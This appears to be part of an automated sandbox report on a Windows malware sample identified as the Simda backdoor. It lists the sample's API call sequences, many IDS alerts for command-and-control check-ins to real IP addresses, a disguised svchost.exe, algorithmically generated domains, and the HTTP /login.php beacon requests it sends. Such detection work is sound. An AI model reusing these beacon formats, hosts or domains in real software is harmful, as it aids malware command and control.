    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022DE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,13_2_022DE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C7680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,13_2_022C7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010C9910 GetHandleInformation,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,16_2_010C9910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010BD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,16_2_010BD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010CDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,16_2_010CDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010CDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,16_2_010CDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A7680 GetHandleInformation,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,16_2_010A7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010BE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,16_2_010BE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271E0FB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,5_2_0271E0FB

    Networking

    barindex
    Suricata IDS alerts for network traffic
    Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.4:55905
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49735 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49734 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49750 -> 188.114.97.3:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49743 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49736 -> 208.100.26.245:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49752 -> 3.94.10.34:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49731 -> 3.94.10.34:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49740 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49733 -> 75.2.71.199:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49749 -> 13.248.169.48:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49742 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49737 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49761 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49753 -> 103.150.10.48:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49738 -> 18.208.156.248:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49747 -> 199.191.50.83:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49763 -> 154.85.183.50:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49758 -> 76.223.67.189:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49765 -> 103.224.212.210:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49732 -> 188.114.96.3:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49745 -> 154.212.231.82:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49739 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49771 -> 64.225.91.73:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55715 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55675 -> 52.34.198.229:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49751 -> 18.208.156.248:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49760 -> 103.224.182.252:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49762 -> 64.225.91.73:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55730 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55736 -> 18.208.156.248:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55709 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:62160 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55727 -> 103.150.10.48:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55739 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55733 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55749 -> 103.224.212.210:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55734 -> 188.114.96.3:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55722 -> 103.150.10.48:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:62159 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.4:65289
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55731 -> 208.100.26.245:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55743 -> 91.195.240.19:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55732 -> 162.255.119.102:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55716 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55753 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55741 -> 154.212.231.82:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55737 -> 75.2.71.199:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55714 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60886 -> 208.100.26.245:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55713 -> 75.2.71.199:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55718 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55720 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60888 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55740 -> 75.2.71.199:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49914 -> 199.191.50.83:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55735 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60885 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55742 -> 154.212.231.82:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55754 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55748 -> 103.224.182.252:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60906 -> 199.191.50.83:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60887 -> 178.162.203.202:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49915 -> 3.94.10.34:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50163 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50164 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50160 -> 154.212.231.82:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50162 -> 188.114.96.3:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50157 -> 178.162.203.226:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50169 -> 103.150.10.48:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50159 -> 208.100.26.245:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50156 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50175 -> 154.85.183.50:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50161 -> 75.2.71.199:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50177 -> 103.224.182.252:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:60917 -> 199.59.243.227:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50173 -> 76.223.67.189:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50168 -> 188.114.96.3:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50178 -> 154.85.183.50:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55729 -> 178.162.203.202:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50158 -> 23.253.46.64:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50182 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50176 -> 44.221.84.105:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50174 -> 103.224.212.210:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50181 -> 72.52.179.174:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:59639 -> 52.34.198.229:80
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49741 -> 75.2.71.199:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55726 -> 188.114.97.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49746 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55719 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55721 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55717 -> 75.2.71.199:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55746 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49754 -> 188.114.97.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55744 -> 75.2.71.199:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49756 -> 188.114.97.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:49744 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:55723 -> 188.114.97.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50165 -> 75.2.71.199:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50172 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50167 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50166 -> 188.114.96.3:443
    Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.4:50170 -> 188.114.96.3:443
    System process connects to network (likely due to code injection or exploit)
    Source: C:\Windows\apppatch\svchost.exeDomain query: vofypuf.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 106.15.232.163 8000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 3.94.10.34 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.190.63.136 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: qegyhip.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 72.52.179.174 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: qeqyloq.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qeqyfaq.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.85.183.50 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.225.91.73 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: galyzeb.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.26.96 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 52.34.198.229 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 75.2.71.199 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.150.10.48 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: gahykih.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 23.253.46.64 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: puzypug.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.191.50.83 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 13.248.169.48 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.212.210 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.67.189 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 18.208.156.248 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.59.243.227 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 208.100.26.245 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.182.252 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: vowydet.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: puryxuq.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.97.3 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 44.221.84.105 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.212.231.82 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.96.3 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 178.162.203.226 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: lykyxoj.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qegynap.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qebyvyl.com
    Queries Google from non browser process on port 80
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com
    Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
